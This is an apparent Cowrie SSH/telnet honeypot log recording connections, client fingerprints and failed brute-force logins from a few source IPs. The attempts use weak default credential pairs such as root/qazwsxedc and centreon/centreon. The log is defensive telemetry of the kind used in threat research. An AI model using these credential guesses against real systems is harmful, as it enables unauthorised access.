{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:40.270283Z","src_ip":"45.156.87.253","session":"03dd76c1a79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:40.839589Z","src_ip":"14.47.200.242","session":"d02d74dcbd53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35378,"dst_ip":"10.17.0.5","dst_port":22,"session":"393173ec025e","protocol":"ssh","message":"New connection: 45.156.87.253:35378 (10.17.0.5:22) [session: 393173ec025e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:42.136118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:42.142286Z","src_ip":"45.156.87.253","session":"393173ec025e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:42.222945Z","src_ip":"45.156.87.253","session":"393173ec025e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:42.647639Z","src_ip":"45.156.87.253","session":"393173ec025e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:43.731071Z","src_ip":"45.156.87.253","session":"393173ec025e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d285dc46d021","protocol":"ssh","message":"New connection: 45.156.87.253:35388 (10.17.0.5:22) [session: d285dc46d021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:45.574883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:45.577559Z","src_ip":"45.156.87.253","session":"d285dc46d021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:45.656919Z","src_ip":"45.156.87.253","session":"d285dc46d021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:45.898410Z","src_ip":"45.156.87.253","session":"d285dc46d021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:46.981350Z","src_ip":"45.156.87.253","session":"d285dc46d021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.90","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"02789cd043be","protocol":"telnet","message":"New connection: 91.92.40.90:59116 (159.203.135.109:23) [session: 02789cd043be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:47.859258Z"}
{"eventid":"cowrie.session.closed","duration":0.4267127513885498,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:48.285835Z","src_ip":"91.92.40.90","session":"02789cd043be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35390,"dst_ip":"10.17.0.5","dst_port":22,"session":"889f515fec0c","protocol":"ssh","message":"New connection: 45.156.87.253:35390 (10.17.0.5:22) [session: 889f515fec0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:48.876485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:48.879780Z","src_ip":"45.156.87.253","session":"889f515fec0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:48.960909Z","src_ip":"45.156.87.253","session":"889f515fec0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:49.205855Z","src_ip":"45.156.87.253","session":"889f515fec0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:50.292125Z","src_ip":"45.156.87.253","session":"889f515fec0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40448,"dst_ip":"10.17.0.5","dst_port":22,"session":"36891da9fadb","protocol":"ssh","message":"New connection: 45.156.87.253:40448 (10.17.0.5:22) [session: 36891da9fadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:52.233329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:52.236318Z","src_ip":"45.156.87.253","session":"36891da9fadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:52.418058Z","src_ip":"45.156.87.253","session":"36891da9fadb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:52.719419Z","src_ip":"45.156.87.253","session":"36891da9fadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:53.802403Z","src_ip":"45.156.87.253","session":"36891da9fadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40456,"dst_ip":"10.17.0.5","dst_port":22,"session":"a49ef654510c","protocol":"ssh","message":"New connection: 45.156.87.253:40456 (10.17.0.5:22) [session: a49ef654510c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:55.730212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:55.733926Z","src_ip":"45.156.87.253","session":"a49ef654510c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:55.814738Z","src_ip":"45.156.87.253","session":"a49ef654510c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:56.059057Z","src_ip":"45.156.87.253","session":"a49ef654510c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:57.142505Z","src_ip":"45.156.87.253","session":"a49ef654510c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40466,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea275f2b61fc","protocol":"ssh","message":"New connection: 45.156.87.253:40466 (10.17.0.5:22) [session: ea275f2b61fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:59.045835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:59.049412Z","src_ip":"45.156.87.253","session":"ea275f2b61fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:59.131602Z","src_ip":"45.156.87.253","session":"ea275f2b61fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:59.373264Z","src_ip":"45.156.87.253","session":"ea275f2b61fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.173.115","src_port":43540,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d74370bafa2","protocol":"ssh","message":"New connection: 40.124.173.115:43540 (10.17.0.5:22) [session: 6d74370bafa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.081961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.085078Z","src_ip":"40.124.173.115","session":"6d74370bafa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.129135Z","src_ip":"40.124.173.115","session":"6d74370bafa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.173.115","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"90993164966d","protocol":"ssh","message":"New connection: 40.124.173.115:43544 (10.17.0.5:22) [session: 90993164966d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.220398Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.223228Z","src_ip":"40.124.173.115","session":"90993164966d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.225544Z","src_ip":"40.124.173.115","session":"90993164966d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:00.456000Z","src_ip":"45.156.87.253","session":"ea275f2b61fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57828,"dst_ip":"10.17.0.5","dst_port":22,"session":"0417fccb019f","protocol":"ssh","message":"New connection: 45.156.87.253:57828 (10.17.0.5:22) [session: 0417fccb019f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:02.477771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:02.481846Z","src_ip":"45.156.87.253","session":"0417fccb019f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:02.562671Z","src_ip":"45.156.87.253","session":"0417fccb019f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:02.813340Z","src_ip":"45.156.87.253","session":"0417fccb019f","protocol":"ssh"}
